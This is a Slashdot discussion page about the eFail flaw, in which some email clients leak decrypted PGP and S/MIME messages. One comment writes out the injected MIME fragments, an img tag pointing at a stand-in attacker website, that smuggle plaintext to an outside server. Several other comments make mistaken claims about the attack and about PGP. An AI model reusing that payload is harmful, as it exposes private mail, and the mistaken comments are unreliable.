Catch up on stories from the past week (and beyond) at the Slashdot story archive

 


Forgot your password?
Close
typodupeerror
×
Encryption Communications Network Privacy Security The Internet

Encrypted Email Has a Major, Divisive Flaw (wired.com) 116

Posted by BeauHD from the epic-fail dept.
An anonymous reader quotes a report from Wired: The ubiquitous email encryption schemes PGP and S/MIME are vulnerable to attack, according to a group of German and Belgian researchers who posted their findings on Monday. The weakness could allow a hacker to expose plaintext versions of encrypted messages -- a nightmare scenario for users who rely on encrypted email to protect their privacy, security, and safety. The weakness, dubbed eFail, emerges when an attacker who has already managed to intercept your encrypted emails manipulates how the message will process its HTML elements, like images and multimedia styling. When the recipient gets the altered message and their email client -- like Outlook or Apple Mail -- decrypts it, the email program will also load the external multimedia components through the maliciously altered channel, allowing the attacker to grab the plaintext of the message.

The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them. PGP is a classic end-to-end encryption scheme that has been a go-to for secure consumer email since the late 1990s because of the free, open-source standard known as OpenPGP. But the whole point of doing the extra work to keep data encrypted from the time it leaves the sender to the time it displays for the receiver is to reduce the risk of access attacks -- even if someone can tap into your encrypted messages, the data will still be unreadable. eFail is an example of these secondary protections failing.
This discussion has been archived. No new comments can be posted.

Encrypted Email Has a Major, Divisive Flaw More

Encrypted Email Has a Major, Divisive Flaw

Comments Filter:

  • A silver lining? (Score:1, Interesting)

    by imcdona ( 806563 )
    I'm hoping this will spur development of a new encryption standard that's both secure and easy to use.

    • Re:A silver lining? (Score:4, Insightful)

      by gweihir ( 88907 ) on Monday May 14, 2018 @05:59PM (#56611462)

      No need. The morons making "modern" mailers just need to learn about the basics of security.

    • Broken mailers (Score:4, Insightful)

      by Spazmania ( 174582 ) on Monday May 14, 2018 @06:41PM (#56611682) Homepage

      Any email program which respects html instructions to automatically load external content was badly broken from a security perspective even before you consider the errors the researchers here exposed.

      Any email program which directly fixes the hack without barring external content from loading when the email opens remains badly insecure.

      • Okay but what if it has to execute javascript which was embedded in the email message. A lot of html pages won't render without js tweaking them these days. And the JS is going to grab the plaintext and phone home.

        Personally I would paste the ascii armoured encrypted text into an external PGP application to decrypt.

  • Encrypted email + html = fail (Score:2, Informative)

    by Anonymous Coward

    If youâ(TM)re serious about your email security the first thing you would do is disable HTML email in your client. This is an attack thatâ(TM)s easily mitigated by observing the bare minimum of best practices.

    • Re: (Score:1)

      by fj3k ( 993224 )

      I don't send HTML emails. Am I safe?
      No. The attacker can change encrypted text/only emails to HTML emails. You need to disable viewing HTML email to increase protection from EFAIL attacks.

      It's easy to protect the encrypted part from this. Add <![CDATA[ to the start and ]]> to the end, and even if someone has HTML and external content fetching switched on, the attackers get nothing.

      • CDATA is trivially broken out of.

        • Re: (Score:1)

          by fj3k ( 993224 )
          Sure. But this is about an attacker adding HTML outside your content to steal it. The attacker can't add anything inside your content, because when they are modifying the email it's still encrypted. So if you can make your content CDATA, then the attacker can't steal it.

          • Re: (Score:2)

            by Sique ( 173459 )
            This is nice and dandy, but no migitation of the risk at hand. If the attacker got hold of your encrypted emails since the advent of OpenPGP or S/MIME, he still can read it, and you can't retroactively change the emails already sent.

  • Is the flaw that Slashdot editors posted a duped story?

    • Re: (Score:2)

      by ls671 ( 1122017 )

      The stories were encrypted so the editor could't read their contents and tell they were dupes. The stories are proof of concept by themselves and only become readable once published on Slashdot with the help of the MIME hack.

  • HTML in email (Score:2, Informative)

    by Anonymous Coward

    was always a bad idea.

  • Dupe and Wrong (Score:5, Informative)

    by HeckRuler ( 1369601 ) on Monday May 14, 2018 @05:52PM (#56611426)

    Old news and it's not PGP and S/MIME, but the mail clients that can use them: Thunderbird and Apple Mail and Outlook. Probably also affects clients using GPG. Or any other encryption scheme.

    PGP is not broken. GPG is not broken. S/MIME is not broken. The flaw is in how mail clients display email. Admittedly, a lot of them have the same issue.

  • Wired misunderstands exploiting the flaw. (Score:4, Insightful)

    by Anonymous Coward on Monday May 14, 2018 @06:19PM (#56611562)

    This sentence stuck out to me:

    The eFail attack requires hackers to have a high level of access in the first place that, in itself, is difficult to achieve. They need to already be able to intercept encrypted messages, before they begin waylaying messages to alter them.

    My response would be that if you're not worried about someone intercepting your email, then why are you encrypting it in the first place? This is essentially a MiTM attack, which is exactly what encryption is designed to protect against. If it can't protect against it, the encryption has completely failed.

    I'd say that's the case here. This isn't one of those silly edge cases certain security people jump up and down over nothing. Like "well first you need root access, and then you can get an even higher level of security access!". This is a real, bona-fide hack. Congrats to the researchers who found something real.

    • Or you could get a clue.

      It is NOT a MITM attack, not even close.
      It is a VERY dubious 'attack' that required the email to load other, non secures content via normal http which they then ALSO intercept, inject content that magically takes control of their computer and steals the unencrypted email. You would never several layers of flaw and a high level of network control over the targets computer in the first place.
      Basically, if they use a normal browser and you had this level of control then you could own th

      • Re:No. Wrong. Try again. (Score:4, Informative)

        by woozlewuzzle ( 532172 ) on Monday May 14, 2018 @06:46PM (#56611704)

        Bad guy intercepts encrypted email he wants to read. (MITM). He injects additional HTML data into the email (in his possession). He sends the email on to the original intended recipient. Recipient opens email. PGP or S/MIME plugin automatically decrypts the message and hands the output back to the email client for display. Mail client interprets the HTML, which happens to send the now-decrypted text to a webserver under the attacker's control.

        So, yes, this does act as MITM. It does not require the attacker to have previously compromised the victim's system.

        • Re: (Score:2, Insightful)

          by Lunix Nutcase ( 1092239 )

          Bad guy intercepts encrypted email he wants to read. (MITM). He injects additional HTML data into the email (in his possession).

          Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?

          So, yes, this does act as MITM.

          Except the scenario you invented is not what this flaw is about and flaw doesn’t allow tampering with the encrypted email while in transit. The email isn’t decrypted until it reaches the email client and the email client has to be one of the buggy ones that don’t actually check the failure return.

          • Re:No. Wrong. Try again. (Score:5, Informative)

            by Dahan ( 130247 ) <khym@azeotrope.org> on Monday May 14, 2018 @07:23PM (#56611850)

            Except the email is still encrypted at this point. How could they inject HTML into an encrypted email?

            If you don't know the answer to that, maybe you should actually read the description of the flaw?

            There are actually two flaws: one is a buggy mail reader application; it should be straightforward to fix the bug. The other is a problem with the spec for encrypting emails (i.e., S/MIME, or whatever the spec for PGP-encrypted email is called).

            The mail reader bug is easier to explain: the encrypted email is not 100% encrypted. The contents are encrypted. But MIME messages contain some unencrypted metadata, such as the headers and boundary markers. So the way you inject HTML into an encrypted email is to add a new MIME text/html part before the encrypted part that contains: <img src="http://attackers.website/, and add a new MIME text/html part after the encrypted part that contains: ">. When the buggy mail reader processes the various MIME parts, it decrypts the encrypted part, resulting in HTML plaintext. Now here's the bug: it then joins all the HTML parts into a single HTML document for display, and that results in <img src="http://attackers.website/decrypted content">. So the mail reader app sends an HTTP request to the attacker's website containing the decrypted message in the URL.

            The other flaw has to do with a known plaintext attack; if you want to know how that works, RTFA.

            • Re: (Score:1)

              by Anonymous Coward

              Don't know why Slashdot is now completely burying anon posts (logged in users only?) but how is this any different from every other information leaking bug? It's evil, always was yet a large part of the population and Governments are willing to let Facebook and Google get away with it.

              If you use HTML and have remote images (few clients lump all remote requests into this), you're fucking retarded. I'm tired of telling people, they won't listen. So get hacked, and pay up when you need support.

              By the way

            • If you don't know the answer to that, maybe you should actually read the description of the flaw?

              Tried that. Followed TFA link to TFA, wound up at Wired which promptly put up a sign-up form over the top of the article that could not be dismissed in any way I could find. Other than maybe signing in, which ain't. Thanks /. for Wired clickbait.

              Your description explains things. It's a stupid bug -- if the contents of an email are changed, then the decryption should fail, period. Headers yes, they need to be mutable (some of them), but body, no.

              What email client author actually thought that someone would

          • You may want to read the efail website with the description of the exploits. It *is* injection. Flaw one inserts HTML *around* the ciphertext. The second makes use of flaws in CBC to inject encrypted HTML into the message. While PGP can detect this, the email clients often ignore the warning and display anyway.

        • Re: (Score:1)

          by Anonymous Coward

          It doesn't need to be a MITM. It could be someone who has access to old stored mail on your server and gets some old encrypted message, fucks with it and resends it to you. It doesn't even have to be your own mail server, could be the sender's or another recipient's.

    • Wired misunderstands exploiting the flaw.

      After reading your post, I can only assume this title was being ironic? You seem to understand it even less than Wired.

  • Don't use HTML Email and the problem goes away. I find that 99% of the time, there is no need for an HTML part to Email, anyway. This whole vulnerability is due to HTML parts being displayed AUTOMATICALLY and WITH loading external parts/links. (If you want to show something external, then just send a link, I don't need a web site "Emailed" to me).

    Or, use a "real" Email client (like Claws and perhaps others) that allows you to control how Email is displayed. For example, Claws will happily-

    1) Not display

    • And if you insist on using HTML email, turn off remote content loading. I know Apple Mail can do this; I recall Thunderbird doing it; and I’m pretty sure most others can as well.

      It doesn’t really interfere with much of anything. You are presented with a button which allows you to load the remote content, if you so choose - the mail client just doesn’t do it by default.

    • But if I disable HTML email, how will I send every message in blinking, 24-point Comic Sans?

  • Or they could just read it over your shoulder. Eitehr way.

  • This 'major, divisive flaw' is something that needs multiple conditions before it can execute:

    - Someone who uses encrypted email but doesn't disable automatic image loading in the client
    - Client that can't handle malformed HTML inputs and processes unterminated src tags in a weird way
    - Message tampering warnings by the PGP or GPG library are ignored
    - Server address where the plaintext will get uploaded thru uuencoded resource requests

    I wonder if there are clients that, when user has disabled image loading,

    • Re: (Score:2)

      by Kjella ( 173770 )

      - Someone who uses encrypted email but doesn't disable automatic image loading in the client

      For every one person who cares there's probably five that got badgered into setting it up because the first guy insisted but are otherwise casual users leaving everything at their defaults.

      - Client that can't handle malformed HTML inputs and processes unterminated src tags in a weird way
      - Message tampering warnings by the PGP or GPG library are ignored

      Which seem to be pretty common...

      - Server address where the plaintext will get uploaded thru uuencoded resource requests

      Oh please it'll be a random botnet IP, you don't need DNS or access to a privileged port or anything just any dumb port who'll forward it to a C&C server on TOR or something like that.

      Okay so it doesn't affect the security-minded that read all his mail in plain text and has disabled ex

  • Divisive? (Score:3)

    by jtara ( 133429 ) on Monday May 14, 2018 @07:37PM (#56611930)

    Divisive?

    And just how is this security flaw tending to cause disagreement or hostility between people?

    • Divisive?

      And just how is this security flaw tending to cause disagreement or hostility between people?

      Have you ever read Slashdot comments before?

  • If both parties are on gmail... the client to server is SSL, there is no SMTP traffic traversing public networks. As long as you dont care if Google reads it (and frankly, I dont), then its pretty damn secure. Even one person on gmail,and another on hotmail is likely fine, since they exchange traffic over SSL as well.

    S/MIME was made in a world where mail was passed, un-encrypted on SMTP port along a chain of mail servers for every company on the internet. anybody operating any router between A and B, and

  • If I use Thunderbird which blocks most of HTML and all of JPEG/GIF content, how am I vulnerable again?(ok i don't use PGP, but still)

  • Anyone who is sending encrypted mail is going to be using plain text, right?

  • This seems to be an instance of security researchers crying wolf when they found a scrawny coyote. Doesn't mean the thing wonâ(TM)t bite you, though.

    (BTW, slashdot, why did you convert my dumb apostrophes to weird things?)

  • PGP? (Score:1)

    by atrex ( 4811433 )
    Not that I've ever used it, but I thought that PGP stood for "Pretty Good Protection" - aka not uncrackable but enough to keep casual observers (like bored ISP admins) at bay.

Slashdot Top Deals

The more they over-think the plumbing the easier it is to stop up the drain.

Close